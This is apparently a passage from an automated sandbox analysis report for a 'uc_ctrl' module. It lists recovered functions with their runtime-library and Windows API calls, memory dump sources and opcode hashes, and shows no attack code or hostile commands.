                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: AddressHandleModuleProc
                                                                                              • String ID: GetFileAttributesTransactedW$kernel32.dll
                                                                                              • API String ID: 1646373207-1378992308
                                                                                              • Opcode ID: a3f5825c6146cf863638f8776fe15460d0cea5d30f5fc9321d9008130f7d208c
                                                                                              • Instruction ID: dcdd4f2558511bd8daa114cf5b1fd759fb8f033566f6b0ade4daa0b83d8a79b6
                                                                                              • Opcode Fuzzy Hash: a3f5825c6146cf863638f8776fe15460d0cea5d30f5fc9321d9008130f7d208c
                                                                                              • Instruction Fuzzy Hash: 55F0F036246206EFEF004FD49C48BAAF3E9FF08359F25C42AFA1282450DF71D411CA66
                                                                                              Function 6CF8D27B Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 40libraryloaderCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetModuleHandleW.KERNEL32(Advapi32.dll,0002001F,?,?,6CF8CD82,80000001,software,00000000,0002001F,?), ref: 6CF8D28C
                                                                                              • GetProcAddress.KERNEL32(00000000,RegOpenKeyTransactedW), ref: 6CF8D29C
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: AddressHandleModuleProc
                                                                                              • String ID: Advapi32.dll$RegOpenKeyTransactedW
                                                                                              • API String ID: 1646373207-3913318428
                                                                                              • Opcode ID: 6b0b841b02fc7cb3220638408c1dd5901266e11542fbddc94e3112fdf6a0e78b
                                                                                              • Instruction ID: 9e5ec20ee7ec53c01fd0230b2b0b18d9b2ff6f40297bb695f56ff3f02020832d
                                                                                              • Opcode Fuzzy Hash: 6b0b841b02fc7cb3220638408c1dd5901266e11542fbddc94e3112fdf6a0e78b
                                                                                              • Instruction Fuzzy Hash: AAF0623214210AABDF115F58DC08BAA77B5EF89375F20402AFA5592460DBB1C461DB61
                                                                                              Function 6CEE7BF9 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 40COMMONLIBRARYCODE
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __uncaught_exception.VCRUNTIME140(337D7743,?,?,00000000,6CF0BF09,000000FF,?,6CEE7BF1,?,?,?,?,?,?,0000000C,6CEE7B7C), ref: 6CEE7C1F
                                                                                              • ?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QAEXXZ.MSVCP140(?,?,00000000,6CF0BF09,000000FF,?,6CEE7BF1,?,?,?,?,?,?,0000000C,6CEE7B7C), ref: 6CEE7C2B
                                                                                                • Part of subcall function 6CEE7D60: __EH_prolog3_catch.LIBCMT ref: 6CEE7D67
                                                                                                • Part of subcall function 6CEE7D60: ?clear@ios_base@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,00000000,6CF0BF09,000000FF,?,6CEE7BF1,?,?,?,?,?,?,0000000C), ref: 6CEE7DB7
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ?clear@ios_base@std@@H_prolog3_catchOsfx@?$basic_ostream@_U?$char_traits@_W@std@@@std@@__uncaught_exception
                                                                                              • String ID: Cw}3/
                                                                                              • API String ID: 934743811-738913995
                                                                                              • Opcode ID: b4cc25eb48077f6433dc3e5a7c6bd70722d5cf9be40a2b8da53c24149bc27403
                                                                                              • Instruction ID: 4aaf735adad35e8bd6ac2192c4365130c763f6c4af8f53e2c71ce28c80e786c3
                                                                                              • Opcode Fuzzy Hash: b4cc25eb48077f6433dc3e5a7c6bd70722d5cf9be40a2b8da53c24149bc27403
                                                                                              • Instruction Fuzzy Hash: 96018136B14504DFC720CF58D440F69B7F9EB89A64F25459EE81597751DB76AC00CBC0
                                                                                              Function 00108487 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 001084BD
                                                                                              • __scrt_initialize_thread_safe_statics_platform_specific.LIBCMT ref: 001084C3
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4145483060.0000000000101000.00000020.00000001.01000000.00000009.sdmp, Offset: 00100000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4145286846.0000000000100000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145589452.000000000010A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145716784.0000000000111000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145903612.0000000000112000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_100000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: __scrt_initialize_thread_safe_statics_platform_specificterminate
                                                                                              • String ID: csm
                                                                                              • API String ID: 2780679314-1018135373
                                                                                              • Opcode ID: 59b5b1b1f1ed7347b1231607f06e19e3e83e5f69bc701666abae064c1aa39f43
                                                                                              • Instruction ID: bff4d2ed6c3d7f581a82b34d94e4d217ba15aeeeab2698a69de37ef7efaa4eba
                                                                                              • Opcode Fuzzy Hash: 59b5b1b1f1ed7347b1231607f06e19e3e83e5f69bc701666abae064c1aa39f43
                                                                                              • Instruction Fuzzy Hash: A0F04F35A182099FCF08EFA8D845BDD77F1AB0C310F100441F5C8EB6C2CBA5AD808B25
                                                                                              Function 6CEF8C50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • _Getcvt.MSVCP140(?,?,?,00000000), ref: 6CEF8C5F
                                                                                                • Part of subcall function 6CEDF0F0: ___lc_codepage_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,?,?,?,6CEDD26D,?), ref: 6CEDF107
                                                                                                • Part of subcall function 6CEDF0F0: ___mb_cur_max_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,6CEDD26D,?), ref: 6CEDF111
                                                                                                • Part of subcall function 6CEDF0F0: ___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,6CEDD26D,?), ref: 6CEDF11A
                                                                                                • Part of subcall function 6CEDF0F0: _ismbblead.API-MS-WIN-CRT-MULTIBYTE-L1-1-0(00000000,?,6CEDD26D,?), ref: 6CEDF130
                                                                                              • ?_W_Getdays@_Locinfo@std@@QBEPBGXZ.MSVCP140(?,?,00000000), ref: 6CEF8C72
                                                                                                • Part of subcall function 6CEE1780: _W_Getdays.API-MS-WIN-CRT-TIME-L1-1-0 ref: 6CEE1784
                                                                                                • Part of subcall function 6CEE1780: ??4?$_Yarn@_W@std@@QAEAAV01@PB_W@Z.MSVCP140(00000000), ref: 6CEE1794
                                                                                                • Part of subcall function 6CEE1780: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000), ref: 6CEE179A
                                                                                                • Part of subcall function 6CEEE4AE: calloc.API-MS-WIN-CRT-HEAP-L1-1-0(-00000001,00000002,?,00000000,?,6CEF8C7E,?,?,00000000), ref: 6CEEE4CD
                                                                                                • Part of subcall function 6CEEE4AE: memcpy.VCRUNTIME140(00000000,?,00000000,00000001,0000003C,6CEF96D5,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6CEEE4E1
                                                                                              • ?_W_Getmonths@_Locinfo@std@@QBEPBGXZ.MSVCP140(?,?,00000000), ref: 6CEF8C84
                                                                                                • Part of subcall function 6CEE17C0: _W_Getmonths.API-MS-WIN-CRT-TIME-L1-1-0 ref: 6CEE17C4
                                                                                                • Part of subcall function 6CEE17C0: ??4?$_Yarn@_W@std@@QAEAAV01@PB_W@Z.MSVCP140(00000000), ref: 6CEE17D4
                                                                                                • Part of subcall function 6CEE17C0: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000), ref: 6CEE17DA
                                                                                                • Part of subcall function 6CEEE4AE: Concurrency::cancel_current_task.LIBCPMT(?,?,00000000), ref: 6CEEE4EF
                                                                                                • Part of subcall function 6CEEE4AE: __EH_prolog3.LIBCMT ref: 6CEEE507
                                                                                                • Part of subcall function 6CEEE4AE: new.LIBCMT ref: 6CEEE52F
                                                                                                • Part of subcall function 6CEEE4AE: ??0?$ctype@_W@std@@QAE@ABV_Locinfo@1@I@Z.MSVCP140(?,?,00000010,?,?,00000000), ref: 6CEEE543
                                                                                                • Part of subcall function 6CEEE4AE: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,00000010,?,?,00000000), ref: 6CEEE553
                                                                                                • Part of subcall function 6CEEE4AE: ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,00000010,?,?,00000000), ref: 6CEEE572
                                                                                                • Part of subcall function 6CEEE4AE: new.LIBCMT ref: 6CEEE58B
                                                                                                • Part of subcall function 6CEEE4AE: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,00000000), ref: 6CEEE5A4
                                                                                                • Part of subcall function 6CEEE4AE: ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?,00000000), ref: 6CEEE5C3
                                                                                                • Part of subcall function 6CEEE4AE: new.LIBCMT ref: 6CEEE5DC
                                                                                                • Part of subcall function 6CEEE4AE: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,00000000), ref: 6CEEE5F5
                                                                                                • Part of subcall function 6CEEE4AE: ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?,?,?,?,00000000), ref: 6CEEE614
                                                                                                • Part of subcall function 6CEEE4AE: new.LIBCMT ref: 6CEEE629
                                                                                                • Part of subcall function 6CEEE4AE: ??Bid@locale@std@@QAEIXZ.MSVCP140(00000010,?,?,00000000), ref: 6CEEE561
                                                                                                • Part of subcall function 6CEEE4AE: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,00000000), ref: 6CEEE5B2
                                                                                                • Part of subcall function 6CEEE4AE: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,00000000), ref: 6CEEE603
                                                                                                • Part of subcall function 6CEEE4AE: ??Bid@locale@std@@QAEIXZ.MSVCP140(00000018,?,?,?,?,?,?,?,?,?,00000000), ref: 6CEEE65A
                                                                                                • Part of subcall function 6CEEE4AE: ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6CEEE679
                                                                                                • Part of subcall function 6CEEE4AE: new.LIBCMT ref: 6CEEE68E
                                                                                                • Part of subcall function 6CEEE4AE: _Getcoll.MSVCP140(?,?,?,?,?,?,?,?,00000000), ref: 6CEEE6AD
                                                                                                • Part of subcall function 6CEEE4AE: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,00000000), ref: 6CEEE6C1
                                                                                                • Part of subcall function 6CEEE4AE: ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6CEEE6E0
                                                                                                • Part of subcall function 6CEEE4AE: new.LIBCMT ref: 6CEEE6F5
                                                                                                • Part of subcall function 6CEEE4AE: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CEEE70E
                                                                                                • Part of subcall function 6CEEE4AE: ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CEEE72D
                                                                                                • Part of subcall function 6CEEE4AE: new.LIBCMT ref: 6CEEE746
                                                                                                • Part of subcall function 6CEEE4AE: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CEEE75F
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Bid@locale@std@@$Addfac@_Locimp@locale@std@@Locimp_V123@Vfacet@23@$W@std@@$??4?$_Locinfo@std@@V01@Yarn@_free$??0?$ctype@_Concurrency::cancel_current_taskGetcollGetcvtGetdaysGetdays@_GetmonthsGetmonths@_H_prolog3Locinfo@1@___lc_codepage_func___lc_locale_name_func___mb_cur_max_func_ismbbleadcallocmemcpy
                                                                                              • String ID: :AM:am:PM:pm
                                                                                              • API String ID: 1405456877-1966799564
                                                                                              • Opcode ID: 6a9b02c8449ecc754f672a7ffe196a91469b0c9b947cb5dfc8224baf2e2b6f39
                                                                                              • Instruction ID: 2858ea816ac3a706c00838b6f46cf557e86277e613cc387726fed9001b49e647
                                                                                              • Opcode Fuzzy Hash: 6a9b02c8449ecc754f672a7ffe196a91469b0c9b947cb5dfc8224baf2e2b6f39
                                                                                              • Instruction Fuzzy Hash: AFF09032A0020457CB14AFB5948589A73A99B88270720842ED8189FB41EF70D84487D0
                                                                                              Function 6CEEBC00 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • EnterCriticalSection.KERNEL32(6CF345A8,337D7743,?,?,?,6CF0BB16,000000FF), ref: 6CEEBC30
                                                                                              • _set_new_handler.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6CF0BB16,000000FF), ref: 6CEEBC50
                                                                                              • ??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,6CF0BB16,000000FF), ref: 6CEEBC5A
                                                                                                • Part of subcall function 6CEFDA90: _unlock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(337D7743,00000000,6CF0BDA0,000000FF,?,6CEE1920,?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?), ref: 6CEFDAB8
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ??1_CriticalEnterLockit@std@@Section_set_new_handler_unlock_locales
                                                                                              • String ID: Cw}3/
                                                                                              • API String ID: 3588097901-738913995
                                                                                              • Opcode ID: 8e44f2e474a552990168ecff2f2c373303c4f15f1225b25fb291f465fa85c0c5
                                                                                              • Instruction ID: 343a61c1b0d9a66fa67517b05b5b174d8e0d5b1a3c5a0677f6440195858dbac8
                                                                                              • Opcode Fuzzy Hash: 8e44f2e474a552990168ecff2f2c373303c4f15f1225b25fb291f465fa85c0c5
                                                                                              • Instruction Fuzzy Hash: 0EF062B5E24618AFDB588F54C851FA9BBB8F709750F00461EE81693B80DB76A8048BD4
                                                                                              Function 6CEE1F10 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 19COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEE1F17
                                                                                              • ??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(?,?,6CED5578,00000038), ref: 6CEE1F47
                                                                                                • Part of subcall function 6CEE1410: __EH_prolog3.LIBCMT ref: 6CEE1417
                                                                                                • Part of subcall function 6CEE1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6CEE1425
                                                                                                • Part of subcall function 6CEE1410: std::bad_exception::bad_exception.LIBCMT ref: 6CEE1467
                                                                                                • Part of subcall function 6CEE1410: _CxxThrowException.VCRUNTIME140(?,6CF13B5C,bad locale name), ref: 6CEE1475
                                                                                                • Part of subcall function 6CEE1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6CEE147E
                                                                                              • ??1_Locinfo@std@@QAE@XZ.MSVCP140(?,6CED5578,00000038), ref: 6CEE1F4F
                                                                                                • Part of subcall function 6CEE1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1525
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1534
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1548
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE155A
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE156C
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE157E
                                                                                                • Part of subcall function 6CEE1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6CEE330B,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010), ref: 6CEE1590
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localesstd::bad_exception::bad_exception
                                                                                              • String ID: @UAEXXZ
                                                                                              • API String ID: 3743150821-3608082955
                                                                                              • Opcode ID: 9bc20b8baa7257bba8621a866dd7c3541c29ddfc130af66d176f5e4f0c70cc5a
                                                                                              • Instruction ID: 3091ffa56c9a3ce6e3b1fba6736c389d091931df52a2973febd1aedbc2d70061
                                                                                              • Opcode Fuzzy Hash: 9bc20b8baa7257bba8621a866dd7c3541c29ddfc130af66d176f5e4f0c70cc5a
                                                                                              • Instruction Fuzzy Hash: 62E01AB1A113058BC710EF94C512ACDB7B4AF05B48FA0C85DA1956BB90DBB4AA4DCB91
                                                                                              Function 00107790 Relevance: 6.5, APIs: 5, Instructions: 212COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • memset.VCRUNTIME140(00000000,00000000,097E771F,097E771F,097E771E), ref: 001077ED
                                                                                              • isalnum.API-MS-WIN-CRT-STRING-L1-1-0(00000000,097E771E), ref: 00107818
                                                                                              • memchr.VCRUNTIME140(00111000,?,00000040,?,?,?,?,?,?,097E771E,?,?), ref: 00107871
                                                                                              • memchr.VCRUNTIME140(00111000,?,00000040,097E771E), ref: 00107941
                                                                                              • memcpy.VCRUNTIME140(?,097E771E,-00000001,097E771E), ref: 001079AA
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4145483060.0000000000101000.00000020.00000001.01000000.00000009.sdmp, Offset: 00100000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4145286846.0000000000100000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145589452.000000000010A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145716784.0000000000111000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145903612.0000000000112000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_100000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: memchr$isalnummemcpymemset
                                                                                              • String ID:
                                                                                              • API String ID: 2613388124-0
                                                                                              • Opcode ID: b88d2812cbcd26d81a940e38ad483694220d51864a27fcb4e74b3bf07ef2eb58
                                                                                              • Instruction ID: 44bd19b39afac07a981be0dfa2f29426a98cb62b838847e467bd32b53867156e
                                                                                              • Opcode Fuzzy Hash: b88d2812cbcd26d81a940e38ad483694220d51864a27fcb4e74b3bf07ef2eb58
                                                                                              • Instruction Fuzzy Hash: 94712571D082859FDB118F68C8947FFBBA4EF26314F054569E894973C3C3B9A909C7A0
                                                                                              Function 001032D0 Relevance: 6.4, APIs: 4, Instructions: 397COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • memset.VCRUNTIME140(?,00000000,00000064,?,?,?,?,00000020,00000000,00000000,?,097E771E,?,?), ref: 0010348F
                                                                                              • memset.VCRUNTIME140(?,00000000,00000040,?,00000000,00000064,?,?,?,?,00000020,00000000,00000000,?,097E771E), ref: 001034A9
                                                                                              • _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,?,?,?,00000020,00000000,00000000,?,097E771E,?,?), ref: 001036C2
                                                                                              • _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000020,00000000,00000000,?,097E771E,?,?), ref: 001037A8
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4145483060.0000000000101000.00000020.00000001.01000000.00000009.sdmp, Offset: 00100000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4145286846.0000000000100000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145589452.000000000010A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145716784.0000000000111000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4145903612.0000000000112000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_100000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: _invalid_parameter_noinfo_noreturnmemset
                                                                                              • String ID:
                                                                                              • API String ID: 1654775311-0
                                                                                              • Opcode ID: 4ee4272287517aa53daf1959671b543d15917c1cd652cb195a7abdc5abdb8ca4
                                                                                              • Instruction ID: da465e343aa83a12d21737e08ea7e32ffe92d864ec51ff5dd0d56dd874ebbdd8
                                                                                              • Opcode Fuzzy Hash: 4ee4272287517aa53daf1959671b543d15917c1cd652cb195a7abdc5abdb8ca4
                                                                                              • Instruction Fuzzy Hash: C9F1CD70A002589FCB24CF68C89879DB7B9BF55310F508298E495AB3D5CBB5AF85CF90
                                                                                              Function 6CFCAEE0 Relevance: 6.2, APIs: 4, Instructions: 185COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CFCAEE7
                                                                                              • LoadImageW.USER32(?,00000000,00000000,00000000,00000000,00002000), ref: 6CFCB08A
                                                                                              • GetObjectW.GDI32(00000000,00000018,?), ref: 6CFCB09C
                                                                                              • DeleteObject.GDI32(00000000), ref: 6CFCB0F4
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Object$DeleteH_prolog3ImageLoad
                                                                                              • String ID:
                                                                                              • API String ID: 91933946-0
                                                                                              • Opcode ID: 2acf46012032c5edf690608bca2a3ab0c4ca86bcccf83869d19f6cefdca72f91
                                                                                              • Instruction ID: d4d9fc86526b5bdf4f754189e05b8c20440969fa860795e79a8b7d2375932b3c
                                                                                              • Opcode Fuzzy Hash: 2acf46012032c5edf690608bca2a3ab0c4ca86bcccf83869d19f6cefdca72f91
                                                                                              • Instruction Fuzzy Hash: 0B718D75A01216CFDF05CF64C8807DE7BB4BF09314F2086AAEC25AB785C7319949CBA6
